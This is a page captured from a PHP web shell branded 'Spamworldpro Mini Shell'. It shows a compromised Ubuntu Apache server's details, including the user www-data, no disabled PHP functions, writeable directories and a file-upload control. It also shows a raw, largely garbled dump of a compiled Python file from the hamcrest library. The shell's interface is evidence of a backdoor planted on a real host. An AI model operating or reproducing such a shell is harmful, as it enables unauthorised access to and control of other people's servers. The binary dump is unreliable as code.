Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hamcrest/library/number/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hamcrest/library/number/__pycache__/iscloseto.cpython-310.pyc
o

(]^�
�@s�ddlmZddlmZddlmZmZmZddlm	Z	ddl
mZddlm
Z
dZdZd	ZeeefZd
edefdd
�ZGdd�de	e�Zed
edede
efdd��Zed
edede
efdd��Zdd�ZdS)�)�Decimal)�fabs)�Any�Union�overload)�BaseMatcher)�Description)�MatcherzJon ReidzCopyright 2011 hamcrest.orgzBSD, see License.txt�value�returncCsNt|tttf�r
dSz
t|�ddd}WdSty!YdSYdS)zKConfirm that 'value' can be treated numerically; duck-test accordingly
    Tr�F)�
isinstance�float�complex�intr�ArithmeticError)r
�_�r�C/usr/lib/python3/dist-packages/hamcrest/library/number/iscloseto.py�	isnumericsrcsveZdZdededdfdd�Zdedefdd	�Zdedefd
d�Zdede	ddf�fd
d�Z
de	ddfdd�Z�ZS)�	IsCloseTor
�deltarNcCs0t|�std��t|�std��||_||_dS)NzIsCloseTo value must be numericzIsCloseTo delta must be numeric)r�	TypeErrorr
r)�selfr
rrrr�__init__ s
zIsCloseTo.__init__�itemcCst|�sdS|�|�|jkS)NF)r�_diffr�rrrrr�_matches)szIsCloseTo._matchescCst||j�S�N)rr
rrrrr.szIsCloseTo._diff�mismatch_descriptioncsBt|�stt|��||�dS|�|�}|�|��d��|�dS)Nz
 differed by )r�superr�describe_mismatchr�append_description_of�append_text)rrr �actual_delta��	__class__rrr"2s

�zIsCloseTo.describe_mismatch�descriptioncCs$|�d��|j��d��|j�dS)Nza numeric value within z of )r$r#rr
)rr(rrr�describe_to;s
�zIsCloseTo.describe_to)
�__name__�
__module__�__qualname__�Numberr�boolrrrrr"r)�
__classcell__rrr&rrs		rrcC�dSrr�r
rrrr�close_toA�r2cCr0rrr1rrrr2Fr3cCs
t||�S)a�Matches if object is a number close to a given value, within a given
    delta.

    :param value: The value to compare against as the expected value.
    :param delta: The maximum delta between the values for which the numbers
        are considered close.

    This matcher compares the evaluated object against ``value`` to see if the
    difference is within a positive ``delta``.

    Example::

        close_to(3.0, 0.25)

    )rr1rrrr2Ks
N)�decimalr�mathr�typingrrr�hamcrest.core.base_matcherr�hamcrest.core.descriptionr�hamcrest.core.matcherr	�
__author__�
__copyright__�__license__rr-r.rrr2rrrr�<module>s""

Spamworldpro Mini